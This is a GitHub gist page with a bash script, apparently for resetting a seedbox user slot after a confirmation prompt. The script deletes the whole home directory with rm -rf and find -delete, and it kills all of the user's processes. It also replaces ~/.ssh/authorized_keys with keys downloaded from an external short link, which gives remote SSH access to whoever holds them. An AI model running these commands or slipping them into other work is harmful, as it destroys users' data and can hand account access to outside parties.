Skip to content

Instantly share code, notes, and snippets.

@pocco81
Forked from randomessence/nuke.sh
Created February 20, 2022 23:44
Show Gist options
  • Save pocco81/bec9b96868c39cae25b34ca6e9c7bb3d to your computer and use it in GitHub Desktop.
Save pocco81/bec9b96868c39cae25b34ca6e9c7bb3d to your computer and use it in GitHub Desktop.
nuke it
#!/bin/bash
# Nuke it, baby
#
if [[ "$(hostname)" = 'metis' ]]
then
echo
echo -e "\033[36m""This is the metis slot, i am exiting""\e[0m"
echo
exit
fi
#
areyoursure=""
#
echo
echo -e "You are about to nuke" "\033[31m""$(hostname)""\e[0m"
echo
read -ep "Are you sure you want to nuke this slot: $(hostname)? [y]es or [n]o: " areyoursure
#
if [[ "$areyoursure" =~ ^[Yy]$ ]]; then
shopt -s dotglob
rm -rf ~/*
find . -delete
#
cp -f /etc/skel/.{bash_aliases,bash_logout,bashrc,profile} ~/
chmod 644 ~/.{bash_aliases,bash_logout,bashrc,profile}
#
mkdir -p ~/.ssh
chmod 700 ~/.ssh
wget -qO ~/.ssh/authorized_keys http://git.io/vvpZA
chmod 600 ~/.ssh/authorized_keys
#
mkdir -p ~/bin
mkdir -p ~/.apache2/conf.d
mkdir -p ~/private/
mkdir -p ~/www/$(whoami).$(hostname -f)/public_html/
ln -s ~/www/$(whoami).$(hostname -f) ~/www/$(whoami).$(hostname)
#
read -ep "Change password? [y/n]: " -i "n" changepass
if [[ "$changepass" =~ ^[Yy]$ ]]
then
passwd
fi
#
kill -9 -1
else
echo "Nothing was changed."
exit
fi
#
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment